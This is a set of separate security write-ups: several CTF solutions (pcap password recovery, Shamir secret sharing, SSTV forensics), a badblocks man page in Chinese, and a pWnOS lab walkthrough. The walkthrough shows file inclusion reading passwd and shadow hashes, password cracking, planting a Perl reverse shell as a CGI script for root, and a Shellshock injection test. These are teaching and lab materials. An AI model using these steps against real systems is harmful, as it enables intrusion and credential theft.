HTTP 486 GET /logout HTTP/1.1 37946 80 47 14.665356 192.168.3.128 → 192.168.3.129 HTTP 653 HTTP/1.0 302 FOUND (text/html) 80 37946 60 14.675592 192.168.3.128 → 192.168.3.129 HTTP 906 HTTP/1.0 200 OK (text/html) 80 37948 68 37.234879 192.168.3.129 → 192.168.3.128 HTTP 542 POST /login HTTP/1.1 (application/x-www-form-urlencoded)[Packet size limited during capture] 38526 80 ``` We can inspect the contents of each packet. POST requests to "/login" seem look like a good place to start. If we check packet #68, we will find the flag: ```console root@kali:/media/sf_CTFs/pico/admin_panel# tshark -nr data.pcap -Y 'frame.number==68' -x 0000 00 0c 29 1c df f2 00 0c 29 79 dc c4 08 00 45 00 ..).....)y....E. 0010 02 10 f6 7c 40 00 40 06 ba 19 c0 a8 03 81 c0 a8 ...|@.@......... 0020 03 80 96 7e 00 50 12 95 30 5d 2e 5b be 02 80 18 ...~.P..0].[.... 0030 00 e5 8a 54 00 00 01 01 08 0a 18 8c 0c 8d f0 d7 ...T............ 0040 91 77 50 4f 53 54 20 2f 6c 6f 67 69 6e 20 48 54 .wPOST /login HT 0050 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 31 39 TP/1.1..Host: 19 0060 32 2e 31 36 38 2e 33 2e 31 32 38 0d 0a 55 73 65 2.168.3.128..Use 0070 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 r-Agent: Mozilla 0080 2f 35 2e 30 20 28 58 31 31 3b 20 55 62 75 6e 74 /5.0 (X11; Ubunt 0090 75 3b 20 4c 69 6e 75 78 20 78 38 36 5f 36 34 3b u; Linux x86_64; 00a0 20 72 76 3a 35 39 2e 30 29 20 47 65 63 6b 6f 2f rv:59.0) Gecko/ 00b0 32 30 31 30 30 31 30 31 20 46 69 72 65 66 6f 78 20100101 Firefox 00c0 2f 35 39 2e 30 0d 0a 41 63 63 65 70 74 3a 20 74 /59.0..Accept: t 00d0 65 78 74 2f 68 74 6d 6c 2c 61 70 70 6c 69 63 61 ext/html,applica 00e0 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 2c 61 tion/xhtml+xml,a 00f0 70 70 6c 69 63 61 74 69 6f 6e 2f 78 6d 6c 3b 71 pplication/xml;q 0100 3d 30 2e 39 2c 2a 2f 2a 3b 71 3d 30 2e 38 0d 0a =0.9,*/*;q=0.8.. 0110 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a Accept-Language: 0120 20 65 6e 2d 55 53 2c 65 6e 3b 71 3d 30 2e 35 0d en-US,en;q=0.5. 0130 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 .Accept-Encoding 0140 3a 20 67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d : gzip, deflate. 0150 0a 52 65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f .Referer: http:/ 0160 2f 31 39 32 2e 31 36 38 2e 33 2e 31 32 38 2f 0d /192.168.3.128/. 0170 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 .Content-Type: a 0180 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 pplication/x-www 0190 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 -form-urlencoded 01a0 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 ..Content-Length 01b0 3a 20 35 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e : 53..Connection 01c0 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 55 70 : keep-alive..Up 01d0 67 72 61 64 65 2d 49 6e 73 65 63 75 72 65 2d 52 grade-Insecure-R 01e0 65 71 75 65 73 74 73 3a 20 31 0d 0a 0d 0a 75 73 equests: 1....us 01f0 65 72 3d 61 64 6d 69 6e 26 70 61 73 73 77 6f 72 er=admin&passwor 0200 64 3d 70 69 63 6f 43 54 46 7b 6e 30 74 73 33 63 d=picoCTF{n0ts3c 0210 75 72 33 5f 39 66 65 65 64 66 62 63 7d ur3_9feedfbc} ``` The flag is: picoCTF{n0ts3cur3_9feedfbc}
sec-knowleage
# Secret Key Category: Crypto, 300 Points ## Description > Our intelligence intercepted an encrypted message. > > Put your skills to use, retrieve the secret key and decrypt the message. We know the secret key had been divided amongst five entities. The original key can only be recovered, when at least three of the entities get together. > > Entity_1: 9362e50f3be0a411a75b55086b9b34f796dbeef58c498edcc185e3a3dc0bf905 > > Entity_2: c58c3821a12d58e854922d0b3856ebf01692bbca7b9637cebb4e2cc6934859c > > Entity_3: 6ae19b589a96947699c96958d7bead57315fecd84cec3c3a4958a316b263575b > > Entity_4: aefd6c92bd6be0c9e4dc28a0d846f0c026c032487be21914da712482b7986d19 > > Entity_5: d8ac37308292ba88668160a8b51e38f9e189fc0d349afa0c9efe671078d3c6d6 > > Hint : You should have a look in the ctfroom. A binary file was attached. ## Solution The description is a clear reference to a [Secret Sharing](https://en.wikipedia.org/wiki/Secret_sharing) method: > Secret sharing (also called secret splitting) refers to methods for distributing a secret among a group of participants, each of whom is allocated a share of the secret. The secret can be reconstructed only when a sufficient number, of possibly different types, of shares are combined together; individual shares are of no use on their own. So, we just need to find the correct scheme that was used. One of the most known schemes is [Shamir's Secret Sharing](https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing): > Shamir's Secret Sharing is an algorithm in cryptography created by Adi Shamir. It is a form of secret sharing, where a secret is divided into parts, giving each participant its own unique part. > > To reconstruct the original secret, a minimum number of parts is required. In the threshold scheme this number is less than the total number of parts. Otherwise all participants are needed to reconstruct the original secret. We won't dive into the mathematical details for this one, as they are explained clearly in the Wikipedia page. Instead, we'll use a [library](https://github.com/shea256/secret-sharing) that implements SSS in order to retrieve the secret. Simply enough, we just need to feed the library with at least three of the partial secrets in order to get the key: ```python >>> entity_1 = "1-9362e50f3be0a411a75b55086b9b34f796dbeef58c498edcc185e3a3dc0bf905" >>> entity_2 = "2-c58c3821a12d58e854922d0b3856ebf01692bbca7b9637cebb4e2cc6934859c" >>> entity_3 = "3-6ae19b589a96947699c96958d7bead57315fecd84cec3c3a4958a316b263575b" >>> entity_4 = "4-aefd6c92bd6be0c9e4dc28a0d846f0c026c032487be21914da712482b7986d19" >>> entity_5 = "5-d8ac37308292ba88668160a8b51e38f9e189fc0d349afa0c9efe671078d3c6d6" >>> >>> from secretsharing import SecretSharer >>> SecretSharer.recover_secret([entity_1, entity_2, entity_3]) 'f1b83682fa9cbe59cacba59d0ae9af44' >>> SecretSharer.recover_secret([entity_3, entity_4, entity_5]) 'f1b83682fa9cbe59cacba59d0ae9af44' >>> SecretSharer.recover_secret([entity_1, entity_2, entity_4, entity_5]) 'f1b83682fa9cbe59cacba59d0ae9af44' >>> SecretSharer.recover_secret([entity_1, entity_2, entity_3, entity_4, entity_5]) 'f1b83682fa9cbe59cacba59d0ae9af44' ``` As you can see, different combinations still produce the same secret, which is a 16-byte array: `f1b83682fa9cbe59cacba59d0ae9af44`. What do we do with this byte array? Well, we got a binary file as part of the challenge: ```console root@kali:/media/sf_CTFs/matrix/Secret_Key# xxd -g 1 enc.txt 00000000: 7b 13 4f d9 a7 6c 50 92 da f3 ad d4 64 27 69 fd {.O..lP.....d'i. 00000010: bb 3f 61 98 03 e8 18 3c 04 d6 fa 51 e9 7e f9 0b .?a....<...Q.~.. ``` We can try to use the byte array as a key in an attempt to decrypt the file. However, it doesn't seem to work. Therefore, our next stop is the link in the hint - the CTF room! The CTF room link leads us to a webpage containing a live stream of a room in the Matrix headquarters: ![](images/secret_key_ctf_room.png) In the room there's a bomb with a timer counting down, together with a set of eight LEDs blinking in a wave pattern. Above the live stream was a form requesting a key (and a freetext username field for the hall of fame). After entering the secret key we've retrieved earlier, the LEDs started blinking together in a different pattern, for example: ![](images/secret_key_ctf_room2.png) There are eight LEDs altogether, so it makes sense to interpret as binary with zeroes/ones as off/on LEDs. We get: ``` 10011000 01010010 01000110 11110001 01001000 00000001 00110100 11110110 00001110 11101110 10111001 11101000 11000010 11010000 10001001 00010000 ``` Converted to hex, we get another 16-byte array: `985246f1480134f60eeeb9e8c2d08910`. The answer is received from the wall-clock in the CTF room, pointing at 4, also known as `IV` which in the context of cryptography is an acronym for "Initialization Vector". So, all that's left is to go over various encryption algorithms and try to decrypt the ciphertext with the key and IV. The one that worked was AES-128-CBC: ```console root@kali:/media/sf_CTFs/matrix/Secret_Key# openssl enc -in enc.txt -d -K f1b83682fa9cbe59cacba59d0ae9af44 -iv 985246f1480134f60eeeb9e8c2d08910 -aes-128-cbc -nopad MCL{Sh4m1r's_S3c73t_Sh4r1n9_$$$} ```
sec-knowleage
from django.urls import include, path, re_path from . import views urlpatterns = [ path('vuln/', views.vul), ]
sec-knowleage
.\" -*- nroff -*- .TH BADBLOCKS 8 "July 2000" "E2fsprogs version 1.19" .SH NAME badblocks \- 查询设备的坏区块 .SH 语法(SYNPSIS) .B badblocks [ .B \-svwnf ] [ .B \-b .I block-size ] [ .B \-c .I blocks_at_once ] [ .B \-i .I input_file ] [ .B \-o .I output_file ] [ .B \-p .I num_passes ] .I device [ .I blocks-count ] [ .I start-block ] .SH (描述)DESCRIPTION .B badblocks 被用来在设备(通常是磁盘分区)中检测坏区块。 .I device 参数是设备的名字(例如 .IR /dev/hdc1 ). .I blocks-count 参数是设备上总的区块数目;如果没有指定这个参数,默认值就是设备的容量大小。 .I start-block参数是一个可选参数,它指定从多少区块号开始进行检测。因此,检测允许从磁盘的中间部分开始。 .SH 选项(OPTIONS) .TP .BI \-b " block-size" 以字节为单位,指定区块的大小。 .TP .BI \-c " number of blocks" 每一次检测区块的数目。默认值是16。增加这个数目可以增加检测 .B 坏块 的效率可同时也会增加内存的耗费。 .B Badblocks 命令在只读模式下需要花费与每一次检测的区块相同数目的内存容量。在读写模式下,这个比例是两倍而在非破坏性的读写模式下,这个比例是三倍。 如果你将参数“num-of-blocks”设置太大的话, .B badblocks 将会在分派缓存时会因为一个内存溢出错误而立即退出。当然如果你在非破坏性的读写模式下将该值设置得过低,那么在一个不稳定的磁盘上的有问题 的区块也许会因为磁盘的磁道缓冲的作用而不被检测出来。 .TP .B \-f 正常情况下,badblocks命令不会在一个已经激活的设备上读写模式或者是非破坏性的读写模式的检测,因为这可能会导致系统的崩溃。 使用 .B \-f 标志可以使这种情况强制执行,但是最好不要在正常的情况下使用它。如果/etc/mtab文件发生了错误,而设备实际上并没有被激活的时候,这个 参数才会是安全的。 .TP .BI \-i " input_file" 读入一个已知的坏块列表。 .B Badblocks 命令将会跳过对这些已知是坏块的区块检查。如果 .I input_file 参数是“-”,则列表从标准输入读入。 在这个列表中列举出的区块也会在 .I 新的 坏道记录文件或者坏道记录输出时被忽略掉。 .BR dumpe2fs (8) 的 .B \-b 选项能够在一个已有的文件系统中得到被标记为坏块的列表,而且已经做成了符合这个选项的格式。 .TP .BI \-o " output_file" 将坏块的列表写到指定的文件中。如果没有这个选项, .B badblocks 命令会在标准输出中输出这个列表。其格式是与 . .BR e2fsck (8) 或者 .BR mke2fs (8). 的 .B \-l 选项的要求相适应的。 .TP .BI \-p " num_passes" 重复的扫描磁盘,直到重复“num_passes”遍磁盘扫描后也没有发现新的区块后结束。 默认值是0。表示 .B badblocks 命令成功执行一遍扫描后就会结束。 .TP .B \-n 使用非破坏性的读写模式。默认值是非破坏性的只读模式测试。这个选项不能与 .B \-w 选项一起使用,因为它们是互斥的。 .TP .B \-s 通过输出正在被检测的区块的号码以表示检测进程。 .TP .B \-v 混杂模式检测。 .TP .B \-w 使用写模式测试。通过使用这个选项 .B badblocks 通过往每个区块上写入一些特定的字符(0xaa,0x55,0xff,0x00),读出来后再比较其内容,决定是否为坏块。 这个选项不能与 .B \-n 选项一起使用,因为它们是互斥的。 .SH 警告(WARNING) 千万不要将 .B \-w 选项用在一个已经包含了文件系统的设备上。这个选项会删除掉原有的数据! 如果你想要在已经有文件系统的设备上执行读写模式检测,请使用 .B \-n 选项。虽然慢点,可是它能够保护你的数据不受伤害。 .SH 作者(AUTHOR) .B badblocks 作者是Remy Card <Remy.Card@linux.org>. 维护人 Theodore Ts'o <tytso@alum.mit.edu>. 非破坏性的读写模式测试由David Beattie <dbeattie@softhome.net>进行. .SH 有效资源(AVAILABILITY) .B badblocks 是e2fsprogs套件的一部分。能够从支持匿名访问的ftp站点tsx-11.mit.edu的/pub/linux/packages/ext2fs目录下取得。 .SH 另外请参考 .BR e2fsck (8), .BR mke2fs (8) .SH 中文版维护人 .B Bill Pan <billpan@netease.com> .SH "中国 Linux 论坛 man 手册页翻译计划" .BI http://cmpp.linuxforum.net
sec-knowleage
# Science Mission * Category: Forensics * 350 Points * Solved by the JCTF Team ## Description > One of NASA's radio telescopes, while on a routine mission to search for life in other galaxies, recorded these strange sounds. > > Can you help NASA decipher them? A zip file was attached. ## Solution Let's try to unzip the archive: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Science_Mission] └─$ 7z x transmission.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,4 CPUs 12th Gen Intel(R) Core(TM) i9-12900K (90672),ASM,AES-NI) Scanning the drive for archives: 1 file, 15113681 bytes (15 MiB) Extracting archive: transmission.zip -- Path = transmission.zip Type = zip Physical Size = 15113681 Enter password (will not be echoed): ERROR: Wrong password : last transmission/.DS_Store ERROR: Wrong password : last transmission/transmission ERROR: Wrong password : last transmission/VG5wWlowMTZUV2RPZWtsblRucHJaMDE2VldkTmVtTm5UbnBKWjAxNlFXZE9iVlZuVFhwWlowNTZRV2ROZWxGblRYcFZaMDE2VldkT2VtTm5UWHBCWjA1NlNXZE9hbEZuVFhwRlowMXFSV2RPUkVGblRXcE5QUT09 Sub items Errors: 3 Archives with Errors: 1 Sub items Errors: 3 ``` We need a password, and don't have one. But what's that long file name in the archive? It looks like base64: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Science_Mission] └─$ echo VG5wWlowMTZUV2RPZWtsblRucHJaMDE2VldkTmVtTm5UbnBKWjAxNlFXZE9iVlZuVFhwWlowNTZRV2ROZWxGblRYcFZaMDE2VldkT2VtTm5UWHBCWjA1NlNXZE9hbEZuVFhwRlowMXFSV2RPUkVGblRXcE5QUT09 | base64 -d TnpZZ016TWdOeklnTnprZ016VWdNemNnTnpJZ016QWdObVVnTXpZZ056QWdNelFnTXpVZ016VWdOemNnTXpBZ056SWdOalFnTXpFZ01qRWdOREFnTWpNPQ== ┌──(user@kali)-[/media/sf_CTFs/intent/Science_Mission] └─$ echo VG5wWlowMTZUV2RPZWtsblRucHJaMDE2VldkTmVtTm5UbnBKWjAxNlFXZE9iVlZuVFhwWlowNTZRV2ROZWxGblRYcFZaMDE2VldkT2VtTm5UWHBCWjA1NlNXZE9hbEZuVFhwRlowMXFSV2RPUkVGblRXcE5QUT09 | base64 -d | base64 -d NzYgMzMgNzIgNzkgMzUgMzcgNzIgMzAgNmUgMzYgNzAgMzQgMzUgMzUgNzcgMzAgNzIgNjQgMzEgMjEgNDAgMjM= ┌──(user@kali)-[/media/sf_CTFs/intent/Science_Mission] └─$ echo VG5wWlowMTZUV2RPZWtsblRucHJaMDE2VldkTmVtTm5UbnBKWjAxNlFXZE9iVlZuVFhwWlowNTZRV2ROZWxGblRYcFZaMDE2VldkT2VtTm5UWHBCWjA1NlNXZE9hbEZuVFhwRlowMXFSV2RPUkVGblRXcE5QUT09 | base64 -d | base64 -d | base64 -d 76 33 72 79 35 37 72 30 6e 36 70 34 35 35 77 30 72 64 31 21 40 23 ┌──(user@kali)-[/media/sf_CTFs/intent/Science_Mission] └─$ echo VG5wWlowMTZUV2RPZWtsblRucHJaMDE2VldkTmVtTm5UbnBKWjAxNlFXZE9iVlZuVFhwWlowNTZRV2ROZWxGblRYcFZaMDE2VldkT2VtTm5UWHBCWjA1NlNXZE9hbEZuVFhwRlowMXFSV2RPUkVGblRXcE5QUT09 | base64 -d | base64 -d | base64 -d | sed 's/ //g' 76337279353772306e36703435357730726431214023 ┌──(user@kali)-[/media/sf_CTFs/intent/Science_Mission] └─$ echo VG5wWlowMTZUV2RPZWtsblRucHJaMDE2VldkTmVtTm5UbnBKWjAxNlFXZE9iVlZuVFhwWlowNTZRV2ROZWxGblRYcFZaMDE2VldkT2VtTm5UWHBCWjA1NlNXZE9hbEZuVFhwRlowMXFSV2RPUkVGblRXcE5QUT09 | base64 -d | base64 -d | base64 -d | sed 's/ //g' | awk '{ print (length($0) % 2 == 0) ? $0 : 0$0; }' | xxd -p -r v3ry57r0n6p455w0rd1!@# ``` So this looks like a password, let's try it: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Science_Mission] └─$ 7z -p"v3ry57r0n6p455w0rd1\!@#" x transmission.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,4 CPUs 12th Gen Intel(R) Core(TM) i9-12900K (90672),ASM,AES-NI) Scanning the drive for archives: 1 file, 15113681 bytes (15 MiB) Extracting archive: transmission.zip -- Path = transmission.zip Type = zip Physical Size = 15113681 Everything is Ok Folders: 1 Files: 3 Size: 15348252 Compressed: 15113681 ``` We got an MP3 file: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Science_Mission/last transmission] └─$ file transmission transmission: Audio file with ID3 version 2.4.0, contains: MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo ``` Listening to it is harmful for human ears, but we can search to see if it has anything hidden within it: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Science_Mission/last transmission] └─$ binwalk -e transmission DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 380479 0x5CE3F Zip archive data, at least v2.0 to extract, compressed size: 1771244, uncompressed size: 1782150, name: 1.mp3 2151758 0x20D54E Zip archive data, at least v2.0 to extract, compressed size: 1715698, uncompressed size: 1733070, name: 2.mp3 3867491 0x3B0363 Zip archive data, at least v2.0 to extract, compressed size: 711081, uncompressed size: 894226, name: 3.mp3 4578607 0x45DD2F Zip archive data, at least v2.0 to extract, compressed size: 9030020, uncompressed size: 14765282, name: am.wav 13609012 0xCFA834 End of Zip archive, footer length: 22 ``` We got three MP3 files and one WAV file! `am.wav` contains horrible beeps, while the other files contain irrelevant content. But their metadata, on the other hand, provides us with valuable hints: ```console ┌──(user@kali)-[/media/…/intent/Science_Mission/last transmission/_transmission.extracted] └─$ exiftool 1.mp3 | tail -n 4 Subtitle : HOOOOOOYA Title : Can I get a Artist URL : https://youtu.be/mog9IyT0CPU?t=18 Duration : 0:01:29 (approx) ┌──(user@kali)-[/media/…/intent/Science_Mission/last transmission/_transmission.extracted] └─$ exiftool 3.mp3 | grep Publisher Publisher : zerooneonezeroonezerozerozerospacezerooneoneonezeroonezerozerospacezerooneoneonezeroonezerozerospacezerooneoneonezerozerozerozerospacezerooneoneonezerozerooneonespacezerozerooneoneonezeroonezerospacezerozeroonezerooneoneoneonespacezerozeroonezerooneoneoneonespacezerooneonezerozeroonezeroonespacezerooneoneonezerozerozerozerospacezerooneoneoneonezerozerozerospacezerooneoneoneonezerozerozerospacezerozeroonezerooneoneonezerospacezerooneonezerozerozerooneonespacezerooneonezerooneoneoneonespacezerozeroonezerooneoneoneonespacezerooneonezerozerozerozeroonespacezerooneoneonezerozeroonezerospacezerooneoneonezeroonezerozerospacezerooneonezeroonezerozeroonespacezerooneonezerozerooneoneonespacezerooneonezerooneoneoneonespacezerooneoneonezerozerooneonespacezerozeroonezerooneoneoneonespacezerooneonezerozerozerozeroonespacezerooneonezerooneonezeroonespacezerooneonezerooneonezeroonespacezerooneonezerooneoneoneonespacezerooneonezerozeroonezerozerospacezerooneoneonezeroonezeroonespacezerooneonezerooneonezerozerospacezerooneonezerozerozerozeroonespacezerooneoneonezeroonezerozerospacezerooneonezeroonezerozeroonespacezerooneonezerooneoneoneonespacezerooneonezerooneoneonezerospacezerozeroonezerooneoneonezerospacezerooneonezeroonezerozerozerospacezerooneoneonezeroonezerozerospacezerooneonezerooneonezeroonespacezerooneonezerooneonezerozero ``` The first hint is a link to a YouTube video about a NASA mission, and the second seems like binary: ```console ┌──(user@kali)-[/media/…/intent/Science_Mission/last transmission/_transmission.extracted] └─$ exiftool 3.mp3 | grep Publisher | awk '{ printf $3 }' | sed 's/zero/0/g' | sed 's/one/1/g' | sed 's/space/ /g' 01101000 01110100 01110100 01110000 01110011 00111010 00101111 00101111 01100101 01110000 01111000 01111000 00101110 01100011 01101111 00101111 01100001 01110010 01110100 01101001 01100111 01101111 01110011 00101111 01100001 01101101 01101101 01101111 01100100 01110101 01101100 01100001 01110100 01101001 01101111 01101110 00101110 01101000 01110100 01101101 01101100 ┌──(user@kali)-[/media/…/intent/Science_Mission/last transmission/_transmission.extracted] └─$ exiftool 3.mp3 | grep Publisher | awk '{ printf $3 }' | sed 's/zero/0/g' | sed 's/one/1/g' | sed 's/space/ /g' | sed 's/\>/P/g;s/^/2i/' | dc https://epxx.co/artigos/ammodulation.html ``` Well, the link we got talks about AM modulation, and we have a file called `am.wav`, so let's try to demodulate it using the snippet from the link: ```python import wave, struct modulated = wave.open("am.wav", "r") f = demod_am = wave.open("demod_am.wav", "w") f.setnchannels(1) f.setsampwidth(2) f.setframerate(44100) for n in range(0, modulated.getnframes()): signal = struct.unpack('h', modulated.readframes(1))[0] / 32768.0 signal = abs(signal) demod_am.writeframes(struct.pack('h', signal * 32767)) ``` What we get is even more beeps. The hints pointed us to NASA, and the moon landing. This could be an [SSTV](https://en.wikipedia.org/wiki/Slow-scan_television) signal: > Slow-scan television (SSTV) is a picture transmission method, used mainly by amateur radio operators, to transmit and receive static pictures via radio in monochrome or color. > > The Apollo TV cameras used SSTV to transmit images from inside Apollo 7, Apollo 8, and Apollo 9, as well as the Apollo 11 Lunar Module television from the Moon. We can use various SSTV applications such as MMSSTV or RX-SSTV (or even a mobile application such as Robot36). For the desktop applications, we need to install some virtual cable in order to redirect the sound from the WAV file into the input of the SSTV application. This can be achieved using [Voicemeeter](https://vb-audio.com/Voicemeeter/) or [VAC](https://vac.muzychenko.net/en/). If we use VLC to play the WAV file, we can redirect the output to our virtual cable by selecting the appropriate cable under "Tools -> Preferences -> Audio -> Output -> DirectX Audio Output" and choosing the appropriate device. It takes a few attempts, but eventually SSTV applications are able to clearly reconstruct a picture from the WAV file and display the flag: ![](images/sstv.png)
sec-knowleage
# PWNOS:1.0 下载地址:https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip > 需点击移动虚拟机,不然网络获取不到IP地址 ## 实战操作 扫描到靶场IP地址:`192.168.2.129` ![image-20220608193500729](../../.gitbook/assets/image-20220608193453722.png) 扫描对外端口 ``` ┌──(root💀kali)-[~/Desktop] └─# nmap -sT -sV -p1-65535 192.168.2.129 Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-08 07:35 EDT Nmap scan report for 192.168.2.129 Host is up (0.0027s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.6p1 Debian 5build1 (protocol 2.0) 80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME) 10000/tcp open http MiniServ 0.01 (Webmin httpd) MAC Address: 00:0C:29:5E:18:C9 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 57.79 seconds ``` 现在转到端口 80 上的 Web 服务,该页面向我显示一条消息,说明"欢迎来到 pWnOS 主页!" 以及一个下一步按钮,可将我引导至根据您的技能水平提供提示的页面。 ![image-20220608194319909](../../.gitbook/assets/image-20220608194319909.png) 爆破WEB目录 ![image-20220608194541251](../../.gitbook/assets/image-20220608194541251.png) 找到phpmyadmin,没啥用。 ![image-20220608194626960](../../.gitbook/assets/image-20220608194626960.png) 文件包含漏洞 ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh dhcp:x:100:101::/nonexistent:/bin/false syslog:x:101:102::/home/syslog:/bin/false klog:x:102:103::/home/klog:/bin/false mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash obama:x:1001:1001::/home/obama:/bin/bash osama:x:1002:1002::/home/osama:/bin/bash yomama:x:1003:1003::/home/yomama:/bin/bash ``` ![image-20220608194701529](../../.gitbook/assets/image-20220608194701529.png) webmin有个文件包含的漏洞 ``` root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7::: daemon:*:14040:0:99999:7::: bin:*:14040:0:99999:7::: sys:*:14040:0:99999:7::: sync:*:14040:0:99999:7::: games:*:14040:0:99999:7::: man:*:14040:0:99999:7::: lp:*:14040:0:99999:7::: mail:*:14040:0:99999:7::: news:*:14040:0:99999:7::: uucp:*:14040:0:99999:7::: proxy:*:14040:0:99999:7::: www-data:*:14040:0:99999:7::: backup:*:14040:0:99999:7::: list:*:14040:0:99999:7::: irc:*:14040:0:99999:7::: gnats:*:14040:0:99999:7::: nobody:*:14040:0:99999:7::: dhcp:!:14040:0:99999:7::: syslog:!:14040:0:99999:7::: klog:!:14040:0:99999:7::: mysql:!:14040:0:99999:7::: sshd:!:14040:0:99999:7::: vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7::: obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7::: osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7::: yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7::: ``` ![image-20220608195329180](../../.gitbook/assets/image-20220608195329180.png) **john 使用rockyou.txt** wordlist花了大约 10 分钟返回用户**`vmware`**,密码**`h4ckm3`** ``` unshadow passwd.txt shadow.txt > pwnos-pass.txt ``` 回想一下 Webmin 以及我如何能够获取它必须以提升的权限运行的影子文件,所以为了验证我检查了**var**目录并且我的怀疑是正确的,Web 应用程序以 root 身份运行! ``` vmware@ubuntuvm:~$ ls -lah /var/ total 52K drwxr-xr-x 15 root root 4.0K 2008-06-10 13:28 . drwxr-xr-x 21 root root 4.0K 2008-06-10 06:37 .. drwxr-xr-x 2 root root 4.0K 2008-06-10 06:28 backups drwxr-xr-x 9 root root 4.0K 2008-06-10 07:07 cache drwxr-xr-x 23 root root 4.0K 2008-06-10 07:08 lib drwxrwsr-x 2 root staff 4.0K 2007-10-08 05:47 local drwxrwxrwt 3 root root 60 2017-05-18 16:17 lock drwxr-xr-x 11 root root 4.0K 2017-05-18 16:17 log drwxrwsr-x 2 root mail 4.0K 2008-06-10 06:24 mail drwxr-xr-x 2 root root 4.0K 2008-06-10 06:24 opt drwxr-xr-x 11 root root 400 2017-05-18 18:28 run drwxr-xr-x 5 root root 4.0K 2008-06-10 07:07 spool drwxrwxrwt 2 root root 4.0K 2007-10-08 05:47 tmp drwx------ 2 root bin 4.0K 2008-06-10 13:31 webmin drwxr-xr-x 3 root root 4.0K 2008-06-12 09:55 www ``` ### CGI提权 所以现在我知道 Webmin 以**root**身份运行,我只需要找到一个可以写入的位置并使用文件包含来调用该文件。回顾 Webmin 上的源代码,我注意到它使用的是 .CGI。这样做研究我发现。[CGI](https://users.cs.cf.ac.uk/Dave.Marshall/PERL/node188.html#SECTION002012000000000000000)使用 [perl]( [perl](http://whatis.techtarget.com/fileformat/CGI-Common-gateway-interface-script)、 C# 或 unix 脚本。所以我导航到 /usr/share/webshells/perl 目录并复制 perl 反向 shell,将 ip 和端口更改为 443,以及 pl 的扩展名到 .cgi。使用 wget 将其发送到 Web 服务器。 ``` cp /usr/share/webshells/perl/perl-reverse-shell.pl mine.cgi ``` ![image-20220608200717471](../../.gitbook/assets/image-20220608200717471.png) ### 破壳shell提权 在查看 ubuntu 的版本时,它已经过时了,这让我认为它可能容易受到[shellshock](https://en.wikipedia.org/wiki/Shellshock_(software_bug)#CVE-2014-7186_and_CVE-2014-7187_Details)的攻击。所以测试了bash环境变量,我的理论是正确的。 ``` vmware@ubuntuvm:/tmp$ env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c date CVE-2014-6271 vulnerable Wed Jun 8 07:08:48 CDT 2022 ``` **因此,我在/tmp**目录中创建了一个扩展名为 .CGI 的快速 bash 脚本。 ``` #!/bin/bash print "Content-type: text/HMTL\n\n"; print "<HTML>\n"; print "<head><title>HEllo World!</title></head>\n"; print "<BODY>\n"; print "<h2>Hello World!</h2>\n"; 